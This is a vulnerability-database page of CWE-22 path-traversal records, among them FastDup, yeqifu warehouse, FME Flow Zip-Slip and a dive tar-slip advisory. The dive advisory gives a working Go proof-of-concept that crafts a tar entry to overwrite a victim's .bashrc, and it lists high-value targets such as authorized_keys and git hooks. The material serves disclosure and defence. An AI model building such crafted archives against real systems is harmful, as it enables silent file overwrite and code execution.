Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

15052 vulnerabilities reference this CWE, most recent first.

CVE-2026-0604 (GCVE-0-2026-0604)

Vulnerability from cvelistv5 – Published: 2026-01-06 03:21 – Updated: 2026-04-08 17:14
VLAI
Title
FastDup <= 2.7 - Authenticated (Contributor+) Path Traversal via 'dir_path' REST Parameter
Summary
The FastDup – Fastest WordPress Migration & Duplicator plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 2.7 via the 'dir_path' parameter in the 'njt-fastdup/v1/template/directory-tree' REST API endpoint. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary directories on the server, which can contain sensitive information.
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-06 15:20 UTC
CWE
  • CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Impacted products
Show details on NVD website

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-0604",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-06T15:20:42.364685Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-06T15:20:50.194Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "FastDup \u2013 Fastest WordPress Migration \u0026 Duplicator",
          "vendor": "ninjateam",
          "versions": [
            {
              "lessThanOrEqual": "2.7",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Athiwat Tiprasaharn"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The FastDup \u2013 Fastest WordPress Migration \u0026 Duplicator plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 2.7 via the \u0027dir_path\u0027 parameter in the \u0027njt-fastdup/v1/template/directory-tree\u0027 REST API endpoint. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the contents of arbitrary directories on the server, which can contain sensitive information."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22 Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-08T17:14:55.411Z",
        "orgId": "b15e7b5b-3da4-40ae-a43c-f7aa60e62599",
        "shortName": "Wordfence"
      },
      "references": [
        {
          "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ac97c729-4c75-429b-bbf2-27ca322be1cf?source=cve"
        },
        {
          "url": "https://plugins.trac.wordpress.org/browser/fastdup/trunk/includes/Endpoint/TemplateApi.php#L219"
        },
        {
          "url": "https://plugins.trac.wordpress.org/browser/fastdup/tags/2.7/includes/Endpoint/TemplateApi.php#L219"
        },
        {
          "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3432226%40fastdup\u0026new=3432226%40fastdup\u0026sfp_email=\u0026sfph_mail=#file3"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2025-12-11T19:37:55.000Z",
          "value": "Vendor Notified"
        },
        {
          "lang": "en",
          "time": "2026-01-05T14:50:03.000Z",
          "value": "Disclosed"
        }
      ],
      "title": "FastDup \u003c= 2.7 - Authenticated (Contributor+) Path Traversal via \u0027dir_path\u0027 REST Parameter"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "b15e7b5b-3da4-40ae-a43c-f7aa60e62599",
    "assignerShortName": "Wordfence",
    "cveId": "CVE-2026-0604",
    "datePublished": "2026-01-06T03:21:39.433Z",
    "dateReserved": "2026-01-05T14:49:51.853Z",
    "dateUpdated": "2026-04-08T17:14:55.411Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2026-0571 (GCVE-0-2026-0571)

Vulnerability from cvelistv5 – Published: 2026-01-02 20:02 – Updated: 2026-02-23 08:11
VLAI
Title
yeqifu warehouse AppFileUtils.java createResponseEntity path traversal
Summary
A security flaw has been discovered in yeqifu warehouse up to aaf29962ba407d22d991781de28796ee7b4670e4. Affected by this issue is the function createResponseEntity of the file warehouse\src\main\java\com\yeqifu\sys\common\AppFileUtils.java. The manipulation of the argument path results in path traversal. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases.
SSVC
Exploitation: poc Automatable: no Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-06 20:35 UTC
CWE
References
Impacted products
Vendor Product Version
yeqifu warehouse Affected: aaf29962ba407d22d991781de28796ee7b4670e4
Create a notification for this product.
Show details on NVD website

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-0571",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-06T20:35:43.443832Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-06T20:35:50.155Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/5i1encee/Vul/blob/main/Arbitrary%20File%20Read%20Vulnerability%20in%20Project%20yeqifu%20warehouse.md"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "warehouse",
          "vendor": "yeqifu",
          "versions": [
            {
              "status": "affected",
              "version": "aaf29962ba407d22d991781de28796ee7b4670e4"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "5i1encee (VulDB User)"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A security flaw has been discovered in yeqifu warehouse up to aaf29962ba407d22d991781de28796ee7b4670e4. Affected by this issue is the function createResponseEntity of the file warehouse\\src\\main\\java\\com\\yeqifu\\sys\\common\\AppFileUtils.java. The manipulation of the argument path results in path traversal. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
            "version": "4.0"
          }
        },
        {
          "cvssV3_1": {
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N/E:P/RL:X/RC:R",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N/E:P/RL:X/RC:R",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 4,
            "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N/E:POC/RL:ND/RC:UR",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "Path Traversal",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-23T08:11:19.068Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "name": "VDB-339385 | yeqifu warehouse AppFileUtils.java createResponseEntity path traversal",
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.339385"
        },
        {
          "name": "VDB-339385 | CTI Indicators (IOB, IOC, TTP, IOA)",
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.339385"
        },
        {
          "name": "Submit #729331 | yeqifu warehouse aaf29962ba407d22d991781de28796ee7b4670e4 Arbitrary File Read",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://vuldb.com/?submit.729331"
        },
        {
          "tags": [
            "related"
          ],
          "url": "https://github.com/5i1encee/Vul/blob/main/Arbitrary%20File%20Read%20Vulnerability%20in%20Project%20yeqifu%20warehouse.md"
        },
        {
          "tags": [
            "exploit"
          ],
          "url": "https://github.com/5i1encee/Vul/blob/main/Arbitrary%20File%20Read%20Vulnerability%20in%20Project%20yeqifu%20warehouse.md#poc"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2026-01-02T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2026-01-02T01:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2026-02-06T00:03:07.000Z",
          "value": "VulDB entry last update"
        }
      ],
      "title": "yeqifu warehouse AppFileUtils.java createResponseEntity path traversal"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2026-0571",
    "datePublished": "2026-01-02T20:02:06.493Z",
    "dateReserved": "2026-01-02T12:32:20.837Z",
    "dateUpdated": "2026-02-23T08:11:19.068Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0425

Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
Title
[0day-rubbish] FME Flow 2026.2 Zip-Slip arbitrary file write to code execution as LocalSystem (8.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in Safe Software FME Flow 2026.2 build 26333. Type: path-traversal write inside archive extraction (Zip-Slip) in COM.safe.web.upload.StoreManager.extract(), shipped in clients-webservicesutil-1.0.jar (CWE-22). The sink builds each destination path from ZipArchiveEntry.getName() verbatim; commons-compress 1.26.2 does not normalise "..", and the class's own canonical containment check isPathValid() is called only from the constructor, never from the extraction path. Scoring. This finding is dual-scored, and the conditional figure is a non-default configuration that is published alongside the primary, not instead of it: - PRIMARY, 8.8 High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. This is the post-authentication rating: any authenticated user, including the low-privilege fmeuser and fmeguest roles, can drive it. The upload branch that sets opt_extractarchive=true performs no role or isPermitted check. - CONDITIONAL, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. This applies only where a public app is published with requireAuthentication=false and allowTemporaryUploads=true, which is NOT a shipped default. The 9.8 figure is conditional and is not the headline. Impact: arbitrary file write anywhere the Tomcat process can write, outside the upload sandbox (create-only; an existing destination file is neither truncated nor overwritten). On a default single-machine Windows install the repository root and WEBAPPSDIR share one ancestor volume, so the write reaches an expanded web application's document root; with unpackWARs=true, no /* servlet mapping in fmeserver.war, and Tomcat installed as the FMEFlowAppServer service running as .\LocalSystem, requesting the dropped .jsp yields command execution as LocalSystem. This is a low-privilege-to-LocalSystem escalation. Authentication: authenticated (any valid token; no role check on the archive extraction branch). Verification boundary, stated plainly. We verified the vulnerable code itself, not a deployed installation. A harness compiled against the exact jars that ship with FME Flow 2026.2 called the real StoreManager.extract on a Linux lab host against Tomcat 10.1.42 on loopback; a zip entry name carrying enough "../" wrote a .jsp outside the sandbox and the container then compiled and executed it (marker recorded uid=0 on the Linux host). A complete Windows FME Flow installation was NOT deployed (it requires PostgreSQL plus a product licence), so the end-to-end HTTP delivery chain rests on the decompiled source rather than on a live run against the product. On Windows the Tomcat service identity is .\LocalSystem, established from installer artefacts (configureTomcat.bat and the MSI property FMEFLOWUSER=LocalSystem) rather than observed; the expected production marker is whoami = nt authority\system. This is distinct from the previously published HTTP path-traversal fixes in this product, whose ".." sequences travel in the request URL and are collapsed by the container's normalisation. Here the traversal travels inside zip entry names in the request body, which URL normalisation never inspects, so those fixes do not cover this vector. Full technical analysis and a reproducible proof-of-concept: https://0day-rubbish.com/blog/fme-flow-zipslip-arbitrary-file-write-rce Project archive (ongoing disclosure series): https://github.com/Exploit-Garbage/0day-Rubbish The vendor has been notified through its published security contact. No vulnerability identifier has been assigned to this finding yet. -- 0day Rubbish Research Team disclosure () 0day-rubbish com https://0day-rubbish.com _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Impacted products
Vendor Product Version
Safe Fme Flow Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Fme Flow",
          "vendor": "Safe",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in Safe\nSoftware FME Flow 2026.2 build 26333.\n\nType: path-traversal write inside archive extraction (Zip-Slip) in\nCOM.safe.web.upload.StoreManager.extract(), shipped in\nclients-webservicesutil-1.0.jar (CWE-22). The sink builds each destination path\nfrom ZipArchiveEntry.getName() verbatim; commons-compress 1.26.2 does not\nnormalise \"..\", and the class\u0027s own canonical containment check isPathValid() is\ncalled only from the constructor, never from the extraction path.\n\nScoring. This finding is dual-scored, and the conditional figure is a\nnon-default configuration that is published alongside the primary, not instead\nof it:\n- PRIMARY, 8.8 High, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. This is the\n  post-authentication rating: any authenticated user, including the\n  low-privilege fmeuser and fmeguest roles, can drive it. The upload branch that\n  sets opt_extractarchive=true performs no role or isPermitted check.\n- CONDITIONAL, 9.8 Critical, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. This\n  applies only where a public app is published with requireAuthentication=false\n  and allowTemporaryUploads=true, which is NOT a shipped default. The 9.8 figure\n  is conditional and is not the headline.\n\nImpact: arbitrary file write anywhere the Tomcat process can write, outside the\nupload sandbox (create-only; an existing destination file is neither truncated\nnor overwritten). On a default single-machine Windows install the repository root\nand WEBAPPSDIR share one ancestor volume, so the write reaches an expanded web\napplication\u0027s document root; with unpackWARs=true, no /* servlet mapping in\nfmeserver.war, and Tomcat installed as the FMEFlowAppServer service running as\n.\\LocalSystem, requesting the dropped .jsp yields command execution as\nLocalSystem. This is a low-privilege-to-LocalSystem escalation.\n\nAuthentication: authenticated (any valid token; no role check on the archive\nextraction branch).\n\nVerification boundary, stated plainly. We verified the vulnerable code itself,\nnot a deployed installation. A harness compiled against the exact jars that ship\nwith FME Flow 2026.2 called the real StoreManager.extract on a Linux lab host\nagainst Tomcat 10.1.42 on loopback; a zip entry name carrying enough \"../\"\nwrote a .jsp outside the sandbox and the container then compiled and executed\nit (marker recorded uid=0 on the Linux host). A complete Windows FME Flow\ninstallation was NOT deployed (it requires PostgreSQL plus a product licence), so\nthe end-to-end HTTP delivery chain rests on the decompiled source rather than on\na live run against the product. On Windows the Tomcat service identity is\n.\\LocalSystem, established from installer artefacts (configureTomcat.bat and the\nMSI property FMEFLOWUSER=LocalSystem) rather than observed; the expected\nproduction marker is whoami = nt authority\\system.\n\nThis is distinct from the previously published HTTP path-traversal fixes in this\nproduct, whose \"..\" sequences travel in the request URL and are collapsed by the\ncontainer\u0027s normalisation. Here the traversal travels inside zip entry names in\nthe request body, which URL normalisation never inspects, so those fixes do not\ncover this vector.\n\nFull technical analysis and a reproducible proof-of-concept:\n  https://0day-rubbish.com/blog/fme-flow-zipslip-arbitrary-file-write-rce\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\nThe vendor has been notified through its published security contact. No vulnerability identifier has been assigned to\nthis finding yet.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-02T04:57:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/72"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/72"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/fme-flow-zipslip-arbitrary-file-write-rce"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/72"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] FME Flow 2026.2 Zip-Slip arbitrary file write to code execution as LocalSystem (8.8)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0425",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/72",
            "automated": true,
            "contentSha256": "23651f5ffa5d040159cb766682384ddd2f9c01320025ebb98c968b5e813f4900",
            "evidenceScore": 11,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/72",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-09-23T04:53:59Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-10-02T04:57:33Z",
    "dateUpdated": "2026-10-02T04:57:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0425"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0415

Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
Title
dive tar-slip in image file extraction
Summary
# dive tar-slip in image file extraction **Author:** Khashayar Fereidani **Disclosure Date:** 2026-09-24 **Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction **Contact:** https://fereidani.com/contact ## Description dive is a terminal UI for exploring Docker image layers, and inspecting images pulled from public registries is its main use case. The filetree view has an extract action (the default keybinding is `ctrl+e`, `cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file from the image layer into the working directory. The call chain is `onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`) -> `engineResolver.Extract` (`dive/image/docker/engine_resolver.go:56`) -> `ExtractFromImage` (`dive/image/docker/image_archive.go:303`) -> `extractInner` (`dive/image/docker/image_archive.go:337`): ```go func extractInner(reader *tar.Reader, p string) error { target := strings.TrimPrefix(p, "/") for { header, err := reader.Next() if err == io.EOF { break } if err != nil { fmt.Println(err) os.Exit(1) } name := header.Name switch header.Typeflag { case tar.TypeReg: if strings.HasPrefix(name, target) { err := os.MkdirAll(filepath.Dir(name), 0755) if err != nil { return err } out, err := os.Create(name) if err != nil { return err } _, err = io.Copy(out, reader) if err != nil { return err } } default: continue } } return nil } ``` `header.Name` comes from the layer being inspected, so the attacker fully controls it. The only validation is `strings.HasPrefix(name, target)`, a string prefix check rather than a path check: it offers no containment at all. A name like `etc/motd-x/../../../.bashrc` passes the check for a selected `etc/motd`, and `os.Create(name)` then resolves the raw name relative to the directory dive was started in. There is no `filepath.Clean`, no rejection of `..`, no containment root, no symlink check and no size cap. The same string-prefix property lets an attacker prepare the path for the escape in two steps. Because `filepath.Dir` cleans `..` segments away, `os.MkdirAll` never creates the intermediate directory that a single escape entry needs to walk through. But any earlier entry whose name still starts with the selected path creates it: an entry named `etc/motd-x/keep` makes `os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then climb through it with `..`. Both entries pass the prefix check, and the attacker controls the order of entries in the layer. Reaching `extractInner` with crafted bytes is straightforward. The engine resolver saves the image with the Docker API (`ImageSave`, `dive/image/docker/engine_resolver.go:131`), which streams the original layer blobs as they were pushed to the registry, and dive even pulls the image itself when it is not available locally (`dive/image/docker/engine_resolver.go:121`). Nothing between the registry and `extractInner` rewrites entry names. ## Reproduction The loop above is self-contained, so the whole feature can be exercised without a registry or the UI. The program below copies `extractInner` verbatim from the current main branch, feeds it a crafted layer tar, and selects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that file: ```go package main // extractInner copied verbatim from // dive/image/docker/image_archive.go:337 (main, 2026-09-24). import ( "archive/tar" "bytes" "fmt" "io" "os" "path/filepath" "strings" ) func extractInner(reader *tar.Reader, p string) error { target := strings.TrimPrefix(p, "/") for { header, err := reader.Next() if err == io.EOF { break } if err != nil { fmt.Println(err) os.Exit(1) } name := header.Name switch header.Typeflag { case tar.TypeReg: if strings.HasPrefix(name, target) { err := os.MkdirAll(filepath.Dir(name), 0755) if err != nil { return err } out, err := os.Create(name) if err != nil { return err } _, err = io.Copy(out, reader) if err != nil { return err } } default: continue } } return nil } func addFile(tw *tar.Writer, name, body string) { hdr := &tar.Header{Name: name, Mode: 0o644, Size: int64(len(body)), Typeflag: tar.TypeReg} _ = tw.WriteHeader(hdr) _, _ = tw.Write([]byte(body)) } func main() { var layer bytes.Buffer tw := tar.NewWriter(&layer) addFile(tw, "etc/motd", "welcome to the totally safe image\n") addFile(tw, "etc/motd-x/keep", "x\n") addFile(tw, "etc/motd-x/../../../.bashrc", "echo pwned\n") _ = tw.Close() err := extractInner(tar.NewReader(&layer), "/etc/motd") fmt.Println("extractInner returned:", err) } ``` Run it from a directory that stands in for the analyst's project directory, with a `.bashrc` one level above: ```sh mkdir -p home/victim/project echo "alias ll='ls -l'" > home/victim/.bashrc cd home/victim/project && go run main.go ``` Observed result: ```text extractInner returned: <nil> ``` ```text $ find home -type f | sort home/victim/.bashrc # was: alias ll='ls -l' home/victim/project/etc/motd home/victim/project/etc/motd-x/keep $ cat home/victim/.bashrc echo pwned ``` The selected file lands in the working directory as expected, and the escape entry silently overwrites the `.bashrc` one level above it. `extractInner` returns nil, so the UI reports a successful extract. End to end, the same layer is delivered by publishing an image whose layer blob contains the three entries above (any registry accepts the blob as-is), and waiting for an analyst to run `dive` on the image and extract a file. ## Impact Arbitrary file write with the analyst's privileges, at any path that is reachable through `..` from the directory dive runs in, usually the home or project directory. High-value targets include shell startup files such as `~/.bashrc` and `~/.profile`, `~/.ssh/authorized_keys`, `.git/hooks` in the current repository, and desktop autostart entries, which turn the write into code execution at the next shell or login. The write is silent: extraction succeeds and the extra entries leave no error behind. The precondition is that the analyst selects a file in the crafted image and presses the extract keybinding, which is why this is rated medium rather than high. That action is exactly what the feature is for: an analyst who opens a suspicious image to look at a credentials file or a config file has every reason to extract it for a closer look, and the layer content is fully attacker-controlled. ## Solution Treat every entry name as hostile and extract through a containment root. The check belongs on the cleaned, joined path, not on the raw string: ```go dest := filepath.Join(destinationDir, filepath.Clean("/"+header.Name)) if dest != filepath.Join(destinationDir, target) { continue // extraction is for the selected file only } ``` Joining against `/`+name first makes `filepath.Clean` drop any leading `..` or drive-letter tricks, and the equality check then reduces the write to the one selected file inside `destinationDir`. Creating the file with `os.OpenFile(dest, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o644)` also stops the extract from overwriting existing files or following a symlink planted earlier in the same layer. This is the standard guard for the tar-slip class, the tar variant of Zip Slip, which every archive extractor that writes to disk needs. Until a fix lands, do not use the extract keybinding on images from unknown sources, and if it must be used, run dive from an empty directory (or from inside a container) so that `..` has nowhere interesting to climb to. ## Timeline - 2026-09-24: Reported publicly as wagoodman/dive#722, found while scanning popular repositories with my static analyzer. The repository has seen no commits since 2025-12-15, so no private disclosure attempt seemed useful; dive 0.13.1 and the current main branch are affected. ## References - [wagoodman/dive#722 - tar-slip in image layer file extraction](https://github.com/wagoodman/dive/issues/722) - [wagoodman/dive - dive/image/docker/image_archive.go](https://github.com/wagoodman/dive/blob/main/dive/image/docker/image_archive.go) - [Snyk - Zip Slip vulnerability research](https://snyk.io/research/zip-slip-vulnerability) - [CWE-22: Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html) - [CWE-59: Improper Link Resolution Before File Access](https://cwe.mitre.org/data/definitions/59.html) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
unknown dive tar-slip in Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "dive tar-slip in",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# dive tar-slip in image file extraction\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/dive-tar-slip-in-image-file-extraction\n**Contact:** https://fereidani.com/contact\n\n## Description\n\ndive is a terminal UI for exploring Docker image layers, and inspecting images\npulled from public registries is its main use case. The filetree view has an\nextract action (the default keybinding is `ctrl+e`,\n`cmd/dive/cli/internal/ui/v1/key/config.go:97`) that writes the selected file\nfrom the image layer into the working directory. The call chain is\n`onFileTreeViewExtract` (`cmd/dive/cli/internal/ui/v1/app/controller.go:62`)\n-\u003e `engineResolver.Extract`\n(`dive/image/docker/engine_resolver.go:56`) -\u003e `ExtractFromImage`\n(`dive/image/docker/image_archive.go:303`) -\u003e `extractInner`\n(`dive/image/docker/image_archive.go:337`):\n\n```go\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, \"/\")\n\nfor {\nheader, err := reader.Next()\n\nif err == io.EOF {\nbreak\n}\n\nif err != nil {\nfmt.Println(err)\nos.Exit(1)\n}\n\nname := header.Name\n\nswitch header.Typeflag {\ncase tar.TypeReg:\nif strings.HasPrefix(name, target) {\nerr := os.MkdirAll(filepath.Dir(name), 0755)\nif err != nil {\nreturn err\n}\n\nout, err := os.Create(name)\nif err != nil {\nreturn err\n}\n\n_, err = io.Copy(out, reader)\nif err != nil {\nreturn err\n}\n}\ndefault:\ncontinue\n}\n}\n\nreturn nil\n}\n```\n\n`header.Name` comes from the layer being inspected, so the attacker fully\ncontrols it. The only validation is `strings.HasPrefix(name, target)`, a\nstring prefix check rather than a path check: it offers no containment at all.\nA name like `etc/motd-x/../../../.bashrc` passes the check for a selected\n`etc/motd`, and `os.Create(name)` then resolves the raw name relative to the\ndirectory dive was started in. There is no `filepath.Clean`, no rejection of\n`..`, no containment root, no symlink check and no size cap.\n\nThe same string-prefix property lets an attacker prepare the path for the\nescape in two steps. Because `filepath.Dir` cleans `..` segments away,\n`os.MkdirAll` never creates the intermediate directory that a single escape\nentry needs to walk through. But any earlier entry whose name still starts\nwith the selected path creates it: an entry named `etc/motd-x/keep` makes\n`os.MkdirAll` create the directory `etc/motd-x`, and the next entry can then\nclimb through it with `..`. Both entries pass the prefix check, and the\nattacker controls the order of entries in the layer.\n\nReaching `extractInner` with crafted bytes is straightforward. The engine\nresolver saves the image with the Docker API (`ImageSave`,\n`dive/image/docker/engine_resolver.go:131`), which streams the original layer\nblobs as they were pushed to the registry, and dive even pulls the image\nitself when it is not available locally\n(`dive/image/docker/engine_resolver.go:121`). Nothing between the registry\nand `extractInner` rewrites entry names.\n\n## Reproduction\n\nThe loop above is self-contained, so the whole feature can be exercised\nwithout a registry or the UI. The program below copies `extractInner`\nverbatim from the current main branch, feeds it a crafted layer tar, and\nselects `/etc/motd`, exactly what dive does when ctrl+e is pressed on that\nfile:\n\n```go\npackage main\n\n// extractInner copied verbatim from\n// dive/image/docker/image_archive.go:337 (main, 2026-09-24).\nimport (\n\"archive/tar\"\n\"bytes\"\n\"fmt\"\n\"io\"\n\"os\"\n\"path/filepath\"\n\"strings\"\n)\n\nfunc extractInner(reader *tar.Reader, p string) error {\ntarget := strings.TrimPrefix(p, 